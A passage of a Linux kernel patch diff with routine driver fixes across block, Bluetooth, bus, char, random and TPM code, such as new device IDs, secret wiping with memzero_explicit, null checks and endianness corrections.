*bus, rbdc = NULL; /* rbd_dev now owns this */ spec = NULL; /* rbd_dev now owns this */ - rc = rbd_dev_image_probe(rbd_dev, true); + rc = rbd_dev_image_probe(rbd_dev, 0); if (rc < 0) goto err_out_rbd_dev; diff --git a/drivers/block/sunvdc.c b/drivers/block/sunvdc.c index 5814deb6963d5..0ebadf93b6c56 100644 --- a/drivers/block/sunvdc.c +++ b/drivers/block/sunvdc.c @@ -9,6 +9,7 @@ #include #include #include +#include #include #include #include @@ -22,8 +23,8 @@ #define DRV_MODULE_NAME "sunvdc" #define PFX DRV_MODULE_NAME ": " -#define DRV_MODULE_VERSION "1.0" -#define DRV_MODULE_RELDATE "June 25, 2007" +#define DRV_MODULE_VERSION "1.1" +#define DRV_MODULE_RELDATE "February 13, 2013" static char version[] = DRV_MODULE_NAME ".c:v" DRV_MODULE_VERSION " (" DRV_MODULE_RELDATE ")\n"; @@ -32,7 +33,7 @@ MODULE_DESCRIPTION("Sun LDOM virtual disk client driver"); MODULE_LICENSE("GPL"); MODULE_VERSION(DRV_MODULE_VERSION); -#define VDC_TX_RING_SIZE 256 +#define VDC_TX_RING_SIZE 512 #define WAITING_FOR_LINK_UP 0x01 #define WAITING_FOR_TX_SPACE 0x02 @@ -65,11 +66,9 @@ struct vdc_port { u64 operations; u32 vdisk_size; u8 vdisk_type; + u8 vdisk_mtype; char disk_name[32]; - - struct vio_disk_geom geom; - struct vio_disk_vtoc label; }; static inline struct vdc_port *to_vdc_port(struct vio_driver_state *vio) @@ -79,9 +78,16 @@ static inline struct vdc_port *to_vdc_port(struct vio_driver_state *vio) /* Ordered from largest major to lowest */ static struct vio_version vdc_versions[] = { + { .major = 1, .minor = 1 }, { .major = 1, .minor = 0 }, }; +static inline int vdc_version_supported(struct vdc_port *port, + u16 major, u16 minor) +{ + return port->vio.ver.major == major && port->vio.ver.minor >= minor; +} + #define VDCBLK_NAME "vdisk" static int vdc_major; #define PARTITION_SHIFT 3 @@ -94,18 +100,54 @@ static inline u32 vdc_tx_dring_avail(struct vio_dring_state *dr) static int vdc_getgeo(struct block_device *bdev, struct hd_geometry *geo) { struct gendisk *disk = bdev->bd_disk; - struct vdc_port *port = disk->private_data; + sector_t nsect = get_capacity(disk); + sector_t cylinders = nsect; - geo->heads = (u8) port->geom.num_hd; - geo->sectors = (u8) port->geom.num_sec; - geo->cylinders = port->geom.num_cyl; + geo->heads = 0xff; + geo->sectors = 0x3f; + sector_div(cylinders, geo->heads * geo->sectors); + geo->cylinders = cylinders; + if ((sector_t)(geo->cylinders + 1) * geo->heads * geo->sectors < nsect) + geo->cylinders = 0xffff; return 0; } +/* Add ioctl/CDROM_GET_CAPABILITY to support cdrom_id in udev + * when vdisk_mtype is VD_MEDIA_TYPE_CD or VD_MEDIA_TYPE_DVD. + * Needed to be able to install inside an ldom from an iso image. + */ +static int vdc_ioctl(struct block_device *bdev, fmode_t mode, + unsigned command, unsigned long argument) +{ + int i; + struct gendisk *disk; + + switch (command) { + case CDROMMULTISESSION: + pr_debug(PFX "Multisession CDs not supported\n"); + for (i = 0; i < sizeof(struct cdrom_multisession); i++) + if (put_user(0, (char __user *)(argument + i))) + return -EFAULT; + return 0; + + case CDROM_GET_CAPABILITY: + disk = bdev->bd_disk; + + if (bdev->bd_disk && (disk->flags & GENHD_FL_CD)) + return 0; + return -EINVAL; + + default: + pr_debug(PFX "ioctl %08x not supported\n", command); + return -EINVAL; + } +} + static const struct block_device_operations vdc_fops = { .owner = THIS_MODULE, .getgeo = vdc_getgeo, + .ioctl = vdc_ioctl, }; static void vdc_finish(struct vio_driver_state *vio, int err, int waiting_for) @@ -165,9 +207,9 @@ static int vdc_handle_attr(struct vio_driver_state *vio, void *arg) struct vio_disk_attr_info *pkt = arg; viodbg(HS, "GOT ATTR stype[0x%x] ops[%llx] disk_size[%llu] disk_type[%x] " - "xfer_mode[0x%x] blksz[%u] max_xfer[%llu]\n", + "mtype[0x%x] xfer_mode[0x%x] blksz[%u] max_xfer[%llu]\n", pkt->tag.stype, pkt->operations, - pkt->vdisk_size, pkt->vdisk_type, + pkt->vdisk_size, pkt->vdisk_type, pkt->vdisk_mtype, pkt->xfer_mode, pkt->vdisk_block_size, pkt->max_xfer_size); @@ -192,8 +234,11 @@ static int vdc_handle_attr(struct vio_driver_state *vio, void *arg) } port->operations = pkt->operations; - port->vdisk_size = pkt->vdisk_size; port->vdisk_type = pkt->vdisk_type; + if (vdc_version_supported(port, 1, 1)) { + port->vdisk_size = pkt->vdisk_size; + port->vdisk_mtype = pkt->vdisk_mtype; + } if (pkt->max_xfer_size < port->max_xfer_size) port->max_xfer_size = pkt->max_xfer_size; port->vdisk_block_size = pkt->vdisk_block_size; @@ -236,7 +281,9 @@ static void vdc_end_one(struct vdc_port *port, struct vio_dring_state *dr, __blk_end_request(req, (desc->status ? -EIO : 0), desc->size); - if (blk_queue_stopped(port->disk->queue)) + /* restart blk queue when ring is half emptied */ + if (blk_queue_stopped(port->disk->queue) && + vdc_tx_dring_avail(dr) * 100 / VDC_TX_RING_SIZE >= 50) blk_start_queue(port->disk->queue); } @@ -388,12 +435,6 @@ static int __send_request(struct request *req) for (i = 0; i < nsg; i++) len += sg[i].length; - if (unlikely(vdc_tx_dring_avail(dr) < 1)) { - blk_stop_queue(port->disk->queue); - err = -ENOMEM; - goto out; - } - desc = vio_dring_cur(dr); err = ldc_map_sg(port->vio.lp, sg, nsg, @@ -433,21 +474,32 @@ static int __send_request(struct request *req) port->req_id++; dr->prod = (dr->prod + 1) & (VDC_TX_RING_SIZE - 1); } -out: return err; } -static void do_vdc_request(struct request_queue *q) +static void do_vdc_request(struct request_queue *rq) { - while (1) { - struct request *req = blk_fetch_request(q); + struct request *req; - if (!req) - break; + while ((req = blk_peek_request(rq)) != NULL) { + struct vdc_port *port; + struct vio_dring_state *dr; - if (__send_request(req) < 0) - __blk_end_request_all(req, -EIO); + port = req->rq_disk->private_data; + dr = &port->vio.drings[VIO_DRIVER_TX_RING]; + if (unlikely(vdc_tx_dring_avail(dr) < 1)) + goto wait; + + blk_start_request(req); + + if (__send_request(req) < 0) { + blk_requeue_request(rq, req); +wait: + /* Avoid pointless unplugs. */ + blk_stop_queue(rq); + break; + } } } @@ -656,25 +708,27 @@ static int probe_disk(struct vdc_port *port) if (comp.err) return comp.err; - err = generic_request(port, VD_OP_GET_VTOC, - &port->label, sizeof(port->label)); - if (err < 0) { - printk(KERN_ERR PFX "VD_OP_GET_VTOC returns error %d\n", err); - return err; - } - - err = generic_request(port, VD_OP_GET_DISKGEOM, - &port->geom, sizeof(port->geom)); - if (err < 0) { - printk(KERN_ERR PFX "VD_OP_GET_DISKGEOM returns " - "error %d\n", err); - return err; + if (vdc_version_supported(port, 1, 1)) { + /* vdisk_size should be set during the handshake, if it wasn't + * then the underlying disk is reserved by another system + */ + if (port->vdisk_size == -1) + return -ENODEV; + } else { + struct vio_disk_geom geom; + + err = generic_request(port, VD_OP_GET_DISKGEOM, + &geom, sizeof(geom)); + if (err < 0) { + printk(KERN_ERR PFX "VD_OP_GET_DISKGEOM returns " + "error %d\n", err); + return err; + } + port->vdisk_size = ((u64)geom.num_cyl * + (u64)geom.num_hd * + (u64)geom.num_sec); } - port->vdisk_size = ((u64)port->geom.num_cyl * - (u64)port->geom.num_hd * - (u64)port->geom.num_sec); - q = blk_init_queue(do_vdc_request, &port->vio.lock); if (!q) { printk(KERN_ERR PFX "%s: Could not allocate queue.\n", @@ -691,6 +745,10 @@ static int probe_disk(struct vdc_port *port) port->disk = g; + /* Each segment in a request is up to an aligned page in size. */ + blk_queue_segment_boundary(q, PAGE_SIZE - 1); + blk_queue_max_segment_size(q, PAGE_SIZE); + blk_queue_max_segments(q, port->ring_cookies); blk_queue_max_hw_sectors(q, port->max_xfer_size); g->major = vdc_major; @@ -704,9 +762,32 @@ static int probe_disk(struct vdc_port *port) set_capacity(g, port->vdisk_size); - printk(KERN_INFO PFX "%s: %u sectors (%u MB)\n", + if (vdc_version_supported(port, 1, 1)) { + switch (port->vdisk_mtype) { + case VD_MEDIA_TYPE_CD: + pr_info(PFX "Virtual CDROM %s\n", port->disk_name); + g->flags |= GENHD_FL_CD; + g->flags |= GENHD_FL_REMOVABLE; + set_disk_ro(g, 1); + break; + + case VD_MEDIA_TYPE_DVD: + pr_info(PFX "Virtual DVD %s\n", port->disk_name); + g->flags |= GENHD_FL_CD; + g->flags |= GENHD_FL_REMOVABLE; + set_disk_ro(g, 1); + break; + + case VD_MEDIA_TYPE_FIXED: + pr_info(PFX "Virtual Hard disk %s\n", port->disk_name); + break; + } + } + + pr_info(PFX "%s: %u sectors (%u MB) protocol %d.%d\n", g->disk_name, - port->vdisk_size, (port->vdisk_size >> (20 - 9))); + port->vdisk_size, (port->vdisk_size >> (20 - 9)), + port->vio.ver.major, port->vio.ver.minor); add_disk(g); @@ -765,6 +846,7 @@ static int vdc_port_probe(struct vio_dev *vdev, const struct vio_device_id *id) else snprintf(port->disk_name, sizeof(port->disk_name), VDCBLK_NAME "%c", 'a' + ((int)vdev->dev_no % 26)); + port->vdisk_size = -1; err = vio_driver_init(&port->vio, vdev, VDEV_DISK, vdc_versions, ARRAY_SIZE(vdc_versions), diff --git a/drivers/block/xen-blkfront.c b/drivers/block/xen-blkfront.c index ddd9a098bc674..ea7ed8600a7c1 100644 --- a/drivers/block/xen-blkfront.c +++ b/drivers/block/xen-blkfront.c @@ -1590,7 +1590,8 @@ static void blkback_changed(struct xenbus_device *dev, break; /* Missed the backend's Closing state -- fallthrough */ case XenbusStateClosing: - blkfront_closing(info); + if (info) + blkfront_closing(info); break; } } diff --git a/drivers/bluetooth/ath3k.c b/drivers/bluetooth/ath3k.c index c068036cfd764..4ee8ab8a70379 100644 --- a/drivers/bluetooth/ath3k.c +++ b/drivers/bluetooth/ath3k.c @@ -127,6 +127,8 @@ static struct usb_device_id ath3k_table[] = { { USB_DEVICE(0x0CF3, 0x3004) }, { USB_DEVICE(0x0CF3, 0x3008) }, { USB_DEVICE(0x0CF3, 0x311D) }, + { USB_DEVICE(0x0CF3, 0x311E) }, + { USB_DEVICE(0x0CF3, 0x311F) }, { USB_DEVICE(0x0CF3, 0x817a) }, { USB_DEVICE(0x13d3, 0x3375) }, { USB_DEVICE(0x04CA, 0x3004) }, @@ -170,6 +172,8 @@ static struct usb_device_id ath3k_blist_tbl[] = { { USB_DEVICE(0x0cf3, 0x3004), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0x3008), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0x311D), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0cf3, 0x311E), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0cf3, 0x311F), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0CF3, 0x817a), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3375), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3004), .driver_info = BTUSB_ATH3012 }, @@ -201,6 +205,8 @@ static struct usb_device_id ath3k_blist_tbl[] = { #define USB_REQ_DFU_DNLOAD 1 #define BULK_SIZE 4096 #define FW_HDR_SIZE 20 +#define TIMEGAP_USEC_MIN 50 +#define TIMEGAP_USEC_MAX 100 static int ath3k_load_firmware(struct usb_device *udev, const struct firmware *firmware) @@ -231,6 +237,9 @@ static int ath3k_load_firmware(struct usb_device *udev, count -= 20; while (count) { + /* workaround the compatibility issue with xHCI controller*/ + usleep_range(TIMEGAP_USEC_MIN, TIMEGAP_USEC_MAX); + size = min_t(uint, count, BULK_SIZE); pipe = usb_sndbulkpipe(udev, 0x02); memcpy(send_buf, firmware->data + sent, size); @@ -352,6 +361,9 @@ static int ath3k_load_fwfile(struct usb_device *udev, count -= size; while (count) { + /* workaround the compatibility issue with xHCI controller*/ + usleep_range(TIMEGAP_USEC_MIN, TIMEGAP_USEC_MAX); + size = min_t(uint, count, BULK_SIZE); pipe = usb_sndbulkpipe(udev, 0x02); diff --git a/drivers/bluetooth/btusb.c b/drivers/bluetooth/btusb.c index 80d02d2ce10c6..fcd39dc00c486 100644 --- a/drivers/bluetooth/btusb.c +++ b/drivers/bluetooth/btusb.c @@ -49,6 +49,7 @@ static struct usb_driver btusb_driver; #define BTUSB_WRONG_SCO_MTU 0x40 #define BTUSB_ATH3012 0x80 #define BTUSB_INTEL 0x100 +#define BTUSB_INTEL_BOOT 0x200 static struct usb_device_id btusb_table[] = { /* Generic Bluetooth USB device */ @@ -113,6 +114,13 @@ static struct usb_device_id btusb_table[] = { /*Broadcom devices with vendor specific id */ { USB_VENDOR_AND_INTERFACE_INFO(0x0a5c, 0xff, 0x01, 0x01) }, + /* IMC Networks - Broadcom based */ + { USB_VENDOR_AND_INTERFACE_INFO(0x13d3, 0xff, 0x01, 0x01) }, + + /* Intel Bluetooth USB Bootloader (RAM module) */ + { USB_DEVICE(0x8087, 0x0a5a), + .driver_info = BTUSB_INTEL_BOOT | BTUSB_BROKEN_ISOC }, + { } /* Terminating entry */ }; @@ -141,6 +149,8 @@ static struct usb_device_id blacklist_table[] = { { USB_DEVICE(0x0cf3, 0x3004), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0x3008), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0x311d), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0cf3, 0x311e), .driver_info = BTUSB_ATH3012 }, + { USB_DEVICE(0x0cf3, 0x311f), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x0cf3, 0x817a), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x13d3, 0x3375), .driver_info = BTUSB_ATH3012 }, { USB_DEVICE(0x04ca, 0x3004), .driver_info = BTUSB_ATH3012 }, @@ -302,6 +312,9 @@ static void btusb_intr_complete(struct urb *urb) BT_ERR("%s corrupted event packet", hdev->name); hdev->stat.err_rx++; } + } else if (urb->status == -ENOENT) { + /* Avoid suspend failed when usb_kill_urb */ + return; } if (!test_bit(BTUSB_INTR_RUNNING, &data->flags)) @@ -390,6 +403,9 @@ static void btusb_bulk_complete(struct urb *urb) BT_ERR("%s corrupted ACL packet", hdev->name); hdev->stat.err_rx++; } + } else if (urb->status == -ENOENT) { + /* Avoid suspend failed when usb_kill_urb */ + return; } if (!test_bit(BTUSB_BULK_RUNNING, &data->flags)) @@ -484,6 +500,9 @@ static void btusb_isoc_complete(struct urb *urb) hdev->stat.err_rx++; } } + } else if (urb->status == -ENOENT) { + /* Avoid suspend failed when usb_kill_urb */ + return; } if (!test_bit(BTUSB_ISOC_RUNNING, &data->flags)) @@ -1216,6 +1235,8 @@ static int btusb_setup_intel(struct hci_dev *hdev) } fw_ptr = fw->data; + kfree_skb(skb); + /* This Intel specific command enables the manufacturer mode of the * controller. * @@ -1441,6 +1462,9 @@ static int btusb_probe(struct usb_interface *intf, if (id->driver_info & BTUSB_INTEL) hdev->setup = btusb_setup_intel; + if (id->driver_info & BTUSB_INTEL_BOOT) + set_bit(HCI_QUIRK_RAW_DEVICE, &hdev->quirks); + /* Interface numbers are hardcoded in the specification */ data->isoc = usb_ifnum_to_if(data->udev, 1); diff --git a/drivers/bluetooth/hci_h5.c b/drivers/bluetooth/hci_h5.c index b6154d5a07a51..db35c542eb20c 100644 --- a/drivers/bluetooth/hci_h5.c +++ b/drivers/bluetooth/hci_h5.c @@ -237,7 +237,7 @@ static void h5_pkt_cull(struct h5 *h5) break; to_remove--; - seq = (seq - 1) % 8; + seq = (seq - 1) & 0x07; } if (seq != h5->rx_ack) @@ -406,6 +406,7 @@ static int h5_rx_3wire_hdr(struct hci_uart *hu, unsigned char c) H5_HDR_PKT_TYPE(hdr) != HCI_3WIRE_LINK_PKT) { BT_ERR("Non-link packet received in non-active state"); h5_reset_rx(h5); + return 0; } h5->rx_func = h5_rx_payload; diff --git a/drivers/bluetooth/hci_vhci.c b/drivers/bluetooth/hci_vhci.c index d8b7aed6e4a96..f3ce1c4f83e02 100644 --- a/drivers/bluetooth/hci_vhci.c +++ b/drivers/bluetooth/hci_vhci.c @@ -265,6 +265,7 @@ static int vhci_release(struct inode *inode, struct file *file) hci_unregister_dev(hdev); hci_free_dev(hdev); + skb_queue_purge(&data->readq); file->private_data = NULL; kfree(data); diff --git a/drivers/bus/mvebu-mbus.c b/drivers/bus/mvebu-mbus.c index 5dcc8305abd15..7c437826c2f99 100644 --- a/drivers/bus/mvebu-mbus.c +++ b/drivers/bus/mvebu-mbus.c @@ -209,12 +209,25 @@ static void mvebu_mbus_disable_window(struct mvebu_mbus_state *mbus, } /* Checks whether the given window number is available */ + +/* On Armada XP, 375 and 38x the MBus window 13 has the remap + * capability, like windows 0 to 7. However, the mvebu-mbus driver + * isn't currently taking into account this special case, which means + * that when window 13 is actually used, the remap registers are left + * to 0, making the device using this MBus window unavailable. The + * quick fix for stable is to not use window 13. A follow up patch + * will correctly handle this window. +*/ static int mvebu_mbus_window_is_free(struct mvebu_mbus_state *mbus, const int win) { void __iomem *addr = mbus->mbuswins_base + mbus->soc->win_cfg_offset(win); u32 ctrl = readl(addr + WIN_CTRL_OFF); + + if (win == 13) + return false; + return !(ctrl & WIN_CTRL_ENABLE); } @@ -825,7 +838,7 @@ fs_initcall(mvebu_mbus_debugfs_init); int __init mvebu_mbus_init(const char *soc, phys_addr_t mbuswins_phys_base, size_t mbuswins_size, phys_addr_t sdramwins_phys_base, - size_t sdramwins_size) + size_t sdramwins_size, int is_coherent) { struct mvebu_mbus_state *mbus = &mbus_state; const struct of_device_id *of_id; @@ -852,8 +865,7 @@ int __init mvebu_mbus_init(const char *soc, phys_addr_t mbuswins_phys_base, return -ENOMEM; } - if (of_find_compatible_node(NULL, NULL, "marvell,coherency-fabric")) - mbus->hw_io_coherency = 1; + mbus->hw_io_coherency = is_coherent; for (win = 0; win < mbus->soc->num_wins; win++) mvebu_mbus_disable_window(mbus, win); diff --git a/drivers/char/agp/intel-gtt.c b/drivers/char/agp/intel-gtt.c index b8e2014cb9cb0..051aadb75e2ce 100644 --- a/drivers/char/agp/intel-gtt.c +++ b/drivers/char/agp/intel-gtt.c @@ -583,7 +583,7 @@ static inline int needs_ilk_vtd_wa(void) /* Query intel_iommu to see if we need the workaround. Presumably that * was loaded first. */ - if ((gpu_devid == PCI_DEVICE_ID_INTEL_IRONLAKE_M_HB || + if ((gpu_devid == PCI_DEVICE_ID_INTEL_IRONLAKE_D_IG || gpu_devid == PCI_DEVICE_ID_INTEL_IRONLAKE_M_IG) && intel_iommu_gfx_mapped) return 1; diff --git a/drivers/char/ipmi/ipmi_si_intf.c b/drivers/char/ipmi/ipmi_si_intf.c index 40b3f756f904a..a67ac2a711558 100644 --- a/drivers/char/ipmi/ipmi_si_intf.c +++ b/drivers/char/ipmi/ipmi_si_intf.c @@ -1144,14 +1144,14 @@ static int smi_start_processing(void *send_info, new_smi->intf = intf; - /* Try to claim any interrupts. */ - if (new_smi->irq_setup) - new_smi->irq_setup(new_smi); - /* Set up the timer that drives the interface. */ setup_timer(&new_smi->si_timer, smi_timeout, (long)new_smi); smi_mod_timer(new_smi, jiffies + SI_TIMEOUT_JIFFIES); + /* Try to claim any interrupts. */ + if (new_smi->irq_setup) + new_smi->irq_setup(new_smi); + /* * Check if the user forcefully enabled the daemon. */ @@ -2717,7 +2717,7 @@ static int wait_for_msg_done(struct smi_info *smi_info) smi_result == SI_SM_CALL_WITH_TICK_DELAY) { schedule_timeout_uninterruptible(1); smi_result = smi_info->handlers->event( - smi_info->si_sm, 100); + smi_info->si_sm, jiffies_to_usecs(1)); } else if (smi_result == SI_SM_CALL_WITHOUT_DELAY) { smi_result = smi_info->handlers->event( smi_info->si_sm, 0); diff --git a/drivers/char/random.c b/drivers/char/random.c index 1c24ed59207d7..b72bcd2af4439 100644 --- a/drivers/char/random.c +++ b/drivers/char/random.c @@ -941,8 +941,8 @@ static void extract_buf(struct entropy_store *r, __u8 *out) * pool while mixing, and hash one final time. */ sha_transform(hash.w, extract, workspace); - memset(extract, 0, sizeof(extract)); - memset(workspace, 0, sizeof(workspace)); + memzero_explicit(extract, sizeof(extract)); + memzero_explicit(workspace, sizeof(workspace)); /* * In case the hash function has some recognizable output @@ -965,7 +965,7 @@ static void extract_buf(struct entropy_store *r, __u8 *out) } memcpy(out, &hash, EXTRACT_SIZE); - memset(&hash, 0, sizeof(hash)); + memzero_explicit(&hash, sizeof(hash)); } static ssize_t extract_entropy(struct entropy_store *r, void *buf, @@ -1013,7 +1013,7 @@ static ssize_t extract_entropy(struct entropy_store *r, void *buf, } /* Wipe data just returned from memory */ - memset(tmp, 0, sizeof(tmp)); + memzero_explicit(tmp, sizeof(tmp)); return ret; } @@ -1051,7 +1051,7 @@ static ssize_t extract_entropy_user(struct entropy_store *r, void __user *buf, } /* Wipe data just returned from memory */ - memset(tmp, 0, sizeof(tmp)); + memzero_explicit(tmp, sizeof(tmp)); return ret; } diff --git a/drivers/char/tpm/tpm.c b/drivers/char/tpm/tpm.c index 7c3b3dcbfbc83..f659a571ad23e 100644 --- a/drivers/char/tpm/tpm.c +++ b/drivers/char/tpm/tpm.c @@ -533,11 +533,10 @@ static int tpm_startup(struct tpm_chip *chip, __be16 startup_type) int tpm_get_timeouts(struct tpm_chip *chip) { struct tpm_cmd_t tpm_cmd; - struct timeout_t *timeout_cap; + unsigned long new_timeout[4]; + unsigned long old_timeout[4]; struct duration_t *duration_cap; ssize_t rc; - u32 timeout; - unsigned int scale = 1; tpm_cmd.header.in = tpm_getcap_header; tpm_cmd.params.getcap_in.cap = TPM_CAP_PROP; @@ -571,25 +570,46 @@ int tpm_get_timeouts(struct tpm_chip *chip) != sizeof(tpm_cmd.header.out) + sizeof(u32) + 4 * sizeof(u32)) return -EINVAL; - timeout_cap = &tpm_cmd.params.getcap_out.cap.timeout; - /* Don't overwrite default if value is 0 */ - timeout = be32_to_cpu(timeout_cap->a); - if (timeout && timeout < 1000) { - /* timeouts in msec rather usec */ - scale = 1000; - chip->vendor.timeout_adjusted = true; + old_timeout[0] = be32_to_cpu(tpm_cmd.params.getcap_out.cap.timeout.a); + old_timeout[1] = be32_to_cpu(tpm_cmd.params.getcap_out.cap.timeout.b); + old_timeout[2] = be32_to_cpu(tpm_cmd.params.getcap_out.cap.timeout.c); + old_timeout[3] = be32_to_cpu(tpm_cmd.params.getcap_out.cap.timeout.d); + memcpy(new_timeout, old_timeout, sizeof(new_timeout)); + + /* + * Provide ability for vendor overrides of timeout values in case + * of misreporting. + */ + if (chip->vendor.update_timeouts != NULL) + chip->vendor.timeout_adjusted = + chip->vendor.update_timeouts(chip, new_timeout); + + if (!chip->vendor.timeout_adjusted) { + /* Don't overwrite default if value is 0 */ + if (new_timeout[0] != 0 && new_timeout[0] < 1000) { + int i; + + /* timeouts in msec rather usec */ + for (i = 0; i != ARRAY_SIZE(new_timeout); i++) + new_timeout[i] *= 1000; + chip->vendor.timeout_adjusted = true; + } } - if (timeout) - chip->vendor.timeout_a = usecs_to_jiffies(timeout * scale); - timeout = be32_to_cpu(timeout_cap->b); - if (timeout) - chip->vendor.timeout_b = usecs_to_jiffies(timeout * scale); - timeout = be32_to_cpu(timeout_cap->c); - if (timeout) - chip->vendor.timeout_c = usecs_to_jiffies(timeout * scale); - timeout = be32_to_cpu(timeout_cap->d); - if (timeout) - chip->vendor.timeout_d = usecs_to_jiffies(timeout * scale); + + /* Report adjusted timeouts */ + if (chip->vendor.timeout_adjusted) { + dev_info(chip->dev, + HW_ERR "Adjusting reported timeouts: A %lu->%luus B %lu->%luus C %lu->%luus D %lu->%luus\n", + old_timeout[0], new_timeout[0], + old_timeout[1], new_timeout[1], + old_timeout[2], new_timeout[2], + old_timeout[3], new_timeout[3]); + } + + chip->vendor.timeout_a = usecs_to_jiffies(new_timeout[0]); + chip->vendor.timeout_b = usecs_to_jiffies(new_timeout[1]); + chip->vendor.timeout_c = usecs_to_jiffies(new_timeout[2]); + chip->vendor.timeout_d = usecs_to_jiffies(new_timeout[3]); duration: tpm_cmd.header.in = tpm_getcap_header; @@ -1423,13 +1443,13 @@ int tpm_get_random(u32 chip_num, u8 *out, size_t max) int err, total = 0, retries = 5; u8 *dest = out; + if (!out || !num_bytes || max > TPM_MAX_RNG_DATA) + return -EINVAL; + chip = tpm_chip_find_get(chip_num); if (chip == NULL) return -ENODEV; - if (!out || !num_bytes || max > TPM_MAX_RNG_DATA) - return -EINVAL; - do { tpm_cmd.header.in = tpm_getrandom_header; tpm_cmd.params.getrandom_in.num_bytes = cpu_to_be32(num_bytes); @@ -1448,6 +1468,7 @@ int tpm_get_random(u32 chip_num, u8 *out, size_t max) num_bytes -= recd; } while (retries-- && total < max); + tpm_chip_put(chip); return total ? total : -EIO; } EXPORT_SYMBOL_GPL(tpm_get_random); diff --git a/drivers/char/tpm/tpm.h b/drivers/char/tpm/tpm.h index 0770d1d79366d..deffda7678a0b 100644 --- a/drivers/char/tpm/tpm.h +++ b/drivers/char/tpm/tpm.h @@ -95,6 +95,9 @@ struct tpm_vendor_specific { int (*send) (struct tpm_chip *, u8 *, size_t); void (*cancel) (struct tpm_chip *); u8 (*status) (struct tpm_chip *); + bool (*update_timeouts)(struct tpm_chip *chip, + unsigned long *timeout_cap); + void (*release) (struct device *); struct miscdevice miscdev; struct attribute_group *attr_group; diff --git a/drivers/char/tpm/tpm_i2c_stm_st33.c b/drivers/char/tpm/tpm_i2c_stm_st33.c index 156bd3c727707..3925f7b868419 100644 --- a/drivers/char/tpm/tpm_i2c_stm_st33.c +++ b/drivers/char/tpm/tpm_i2c_stm_st33.c @@ -488,7 +488,7 @@ static int tpm_stm_i2c_send(struct tpm_chip *chip, unsigned char *buf, if (burstcnt < 0) return burstcnt; size = min_t(int, len - i - 1, burstcnt); - ret = I2C_WRITE_DATA(client, TPM_DATA_FIFO, buf, size); + ret = I2C_WRITE_DATA(client, TPM_DATA_FIFO, buf + i, size); if (ret < 0) goto out_err; diff --git a/drivers/char/tpm/tpm_ibmvtpm.c b/drivers/char/tpm/tpm_ibmvtpm.c index 56b07c35a13e1..ce854bbd33ef8 100644 --- a/drivers/char/tpm/tpm_ibmvtpm.c +++ b/drivers/char/tpm/tpm_ibmvtpm.c @@ -124,7 +124,7 @@ static int tpm_ibmvtpm_send(struct tpm_chip *chip, u8 *buf, size_t count) { struct ibmvtpm_dev *ibmvtpm; struct ibmvtpm_crq crq; - u64 *word = (u64 *) &crq; + __be64 *word = (__be64 *)&crq; int rc; ibmvtpm = (struct ibmvtpm_dev *)TPM_VPRIV(chip); @@ -145,10 +145,11 @@ static int tpm_ibmvtpm_send(struct tpm_chip *chip, u8 *buf, size_t count) memcpy((void *)ibmvtpm->rtce_buf, (void *)buf, count); crq.valid = (u8)IBMVTPM_VALID_CMD; crq.msg = (u8)VTPM_TPM_COMMAND; - crq.len = (u16)count; - crq.data = ibmvtpm->rtce_dma_handle; + crq.len = cpu_to_be16(count); + crq.data = cpu_to_be32(ibmvtpm->rtce_dma_handle); - rc = ibmvtpm_send_crq(ibmvtpm->vdev, word[0], word[1]); + rc = ibmvtpm_send_crq(ibmvtpm->vdev, be64_to_cpu(word[0]), + be64_to_cpu(word[1])); if (rc != H_SUCCESS) { dev_err(ibmvtpm->dev, "tpm_ibmvtpm_send failed rc=%d\n", rc); rc = 0; @@ -186,7 +187,8 @@ static int ibmvtpm_crq_get_rtce_size(struct ibmvtpm_dev *ibmvtpm) crq.valid = (u8)IBMVTPM_VALID_CMD; crq.msg = (u8)VTPM_GET_RTCE_BUFFER_SIZE; - rc = ibmvtpm_send_crq(ibmvtpm->vdev, buf[0], buf[1]); + rc = ibmvtpm_send_crq(ibmvtpm->vdev, cpu_to_be64(buf[0]), + cpu_to_be64(buf[1])); if (rc != H_SUCCESS) dev_err(ibmvtpm->dev, "ibmvtpm_crq_get_rtce_size failed rc=%d\n", rc); @@ -212,7 +214,8 @@ static int ibmvtpm_crq_get_version(struct ibmvtpm_dev *ibmvtpm) crq.valid = (u8)IBMVTPM_VALID_CMD; crq.msg = (u8)VTPM_GET_VERSION; - rc = ibmvtpm_send_crq(ibmvtpm->vdev, buf[0], buf[1]); + rc = ibmvtpm_send_crq(ibmvtpm->vdev, cpu_to_be64(buf[0]), + cpu_to_be64(buf[1])); if (rc != H_SUCCESS) dev_err(ibmvtpm->dev, "ibmvtpm_crq_get_version failed rc=%d\n", rc); @@ -307,6 +310,14 @@ static int tpm_ibmvtpm_remove(struct vio_dev *vdev) static unsigned long tpm_ibmvtpm_get_desired_dma(struct vio_dev *vdev) { struct ibmvtpm_dev *ibmvtpm = ibmvtpm_get_data(&vdev->dev); + + /* ibmvtpm initializes at probe time, so the data we are + * asking for may not be set yet. Estimate that 4K required + * for TCE-mapped buffer in addition to CRQ. + */ + if (!ibmvtpm) + return CRQ_RES_BUF_SIZE + PAGE_SIZE; + return CRQ_RES_BUF_SIZE + ibmvtpm->rtce_size; } @@ -327,7 +338,8 @@ static int tpm_ibmvtpm_suspend(struct device *dev) crq.valid = (u8)IBMVTPM_VALID_CMD; crq.msg = (u8)VTPM_PREPARE_TO_SUSPEND; - rc = ibmvtpm_send_crq(ibmvtpm->vdev, buf[0], buf[1]); + rc = ibmvtpm_send_crq(ibmvtpm->vdev, cpu_to_be64(buf[0]), + cpu_to_be64(buf[1])); if (rc != H_SUCCESS) dev_err(ibmvtpm->dev, "tpm_ibmvtpm_suspend failed rc=%d\n", rc); @@ -511,13 +523,13 @@ static void ibmvtpm_crq_process(struct ibmvtpm_crq *crq, case IBMVTPM_VALID_CMD: switch (crq->msg) { case VTPM_GET_RTCE_BUFFER_SIZE_RES: - if (crq->len 